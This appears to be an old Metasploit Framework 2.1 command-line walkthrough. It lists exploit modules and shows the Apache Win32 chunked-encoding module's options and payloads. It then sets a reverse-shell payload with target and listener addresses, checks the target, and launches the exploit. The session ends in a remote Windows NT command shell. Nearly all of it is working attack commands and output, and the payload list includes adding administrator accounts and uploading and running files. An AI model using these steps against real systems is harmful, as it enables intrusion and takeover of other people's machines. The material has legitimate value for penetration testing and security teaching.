1) List the available exploits and select one

hdm@slasher framework $ ./msfcli
                __.                       .__.        .__. __.
  _____   _____/  |______    ____________ |  |   ____ |__|/  |_
 /     \_/ __ \   __\__  \  /  ___/\____ \|  |  /  _ \|  \   __\
|  Y Y  \  ___/|  |  / __ \_\___ \ |  |_> >  |_(  <_> )  ||  |
|__|_|  /\___  >__| (____  /____  >|   __/|____/\____/|__||__|
      \/     \/  v2.1    \/     \/ |__|

============
= Exploits

  apache_chunked_win32       Apache Win32 Chunked Encoding
  blackice_pam_icq           Blackice/RealSecure/Other ISS ICQ Parser Buffer Overflow
  exchange2000_xexch50       Exchange 2000 MS03-46 Heap Overflow
  frontpage_fp30reg_chunked  Frontpage fp30reg.dll Chunked Encoding
  ia_webmail                 IA WebMail 3.x Buffer Overflow
  iis50_nsiislog_post        IIS 5.0 nsiislog.dll POST Overflow
  iis50_printer_overflow     IIS 5.0 Printer Buffer Overflow
  iis50_webdav_ntdll         IIS 5.0 WebDAV ntdll.dll Overflow
  imail_ldap                 IMail LDAP Service Buffer Overflow
  msrpc_dcom_ms03_026        Microsoft RPC DCOM MSO3-026
  msrpc_dcom_ms03_039        Microsoft RPC DCOM MSO3-039
  mssql2000_resolution       MSSQL 2000 Resolution Overflow
  poptop_negative_read       PoPToP Negative Read Overflow
  realserver_describe_linux  RealServer Describe Buffer Overflow
  samba_nttrans              Samba Fragment Reassembly Overflow
  samba_trans2open           Samba trans2open Overflow
  sambar6_search_results     Sambar 6 Search Results Buffer Overflow
  servu_mdtm_overflow        Serv-U FTPD MDTM Overflow
  solaris_sadmind_exec       Solaris sadmind Command Execution
  subversion_date            PoPToP Negative Read Overflow
  warftpd_165_pass           War-FTPD 1.65 PASS Overflow
  windows_ssl_pct            Windows SSL PCT Overflow

2) Display the information for the selected exploit

hdm@slasher framework $ ./msfcli apache S
      Name: Apache Win32 Chunked Encoding
   Version: $Revision: 1.7 $
 Target OS: win32
Privileged: Yes

Provided By:
    H D Moore <hdm [at] metasploit.com> [Artistic License]

Available Targets:
    Windows NT/2K Brute Force
    Windows 2000
    Windows NT

Available Options:

    Exploit:    Name      Default    Description
    --------    ------    -------    ---------------------------
    optional    SSL                  Use SSL
    required    RHOST                The target address
    optional    PAD                  Specify the exact pad value
    required    RPORT     80         The target port

Payload Information:
    Space: 8100
    Avoid: 8 characters

Description:
    This exploits the chunked encoding bug found in Apache
    versions 1.2.x to 1.3.24. This particular module will only
    work reliably against versions 1.3.17 on up running on
    Windows 2000 or NT. This exploit may complelely crash
    certain versions of Apache shipped with Oracle and various
    web application frameworks. This exploit could not be
    detected by versions of the Snort IDS prior to 2.1.2 :)

References:
    http://www.osvdb.org/838
    http://lists.insecure.org/lists/bugtraq/2002/Jun/0184.html




3) Show the available payloads

hdm@slasher framework $ ./msfcli apache P
Metasploit Framework Usable Payloads
====================================

  winadduser               Create a new user and add to local Administrators group
  winbind                  Listen for connection and spawn a shell
  winbind_stg              Listen for connection and spawn a shell
  winbind_stg_upexec       Listen for connection then upload and exec file
  winexec                  Execute an arbitrary command
  winreverse               Connect back to attacker and spawn a shell
  winreverse_stg           Connect back to attacker and spawn a shell
  winreverse_stg_ie        Listen for connection, send address of GP/LL across, read/exec InlineEgg
  winreverse_stg_upexec    Connect back to attacker and spawn a shell




4) Choose a payload and show the new combined option set

hdm@slasher framework $ ./msfcli apache PAYLOAD=winreverse O

Exploit and Payload Options
===========================

  Exploit:    Name      Default    Description
  --------    ------    -------    ---------------------------
  optional    SSL                  Use SSL
  required    RHOST                The target address
  optional    PAD                  Specify the exact pad value
  required    RPORT     80         The target port

  Payload:    Name        Default    Description
  --------    --------    -------    ------------------------------------------
  optional    EXITFUNC    seh        Exit technique: "process", "thread", "seh"
  required    LHOST                  Local address to receive connection
  required    LPORT                  Local port to receive connection
    
                                                                                                                


5) Some exploits and payloads include an advanced option set

hdm@slasher framework $ ./msfcli apache PAYLOAD=winreverse A
 
Exploit and Payload Options
===========================

  Exploit (Msf::Exploit::apache_chunked_win32):
  ---------------------------------------------
  Name:     PAD
  Default:  0

  Specify the padding value to be used

  Payload (Msf::Payload::win32_reverse):
  --------------------------------------




6) List the available targets and optionally select one

hdm@slasher framework $ ./msfcli apache PAYLOAD=winreverse T

Supported Exploit Targets
=========================

   0  Windows NT/2K Brute Force
   1  Windows 2000
   2  Windows NT


                                                                                             


5) Fill in options and try a vulnerability check

hdm@slasher framework $ ./msfcli apache \
PAYLOAD=winreverse RHOST=192.168.1.241 RPORT=8080 \
LHOST=192.168.1.244 LPORT=5555 TARGET=2 C

[*] Vulnerable server 'Apache/1.3.22 (Win32)'




6) Launch the actual exploit :)

hdm@slasher framework $ ./msfcli apache \
PAYLOAD=winreverse RHOST=192.168.1.241 RPORT=8080 \
LHOST=192.168.1.244 LPORT=5555 TARGET=2 E

[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 348...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 352...
[*] Connection from 192.168.1.241:1033...
                                                                                                                
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
                                                                                                                
c:\program files\apache group\apache>

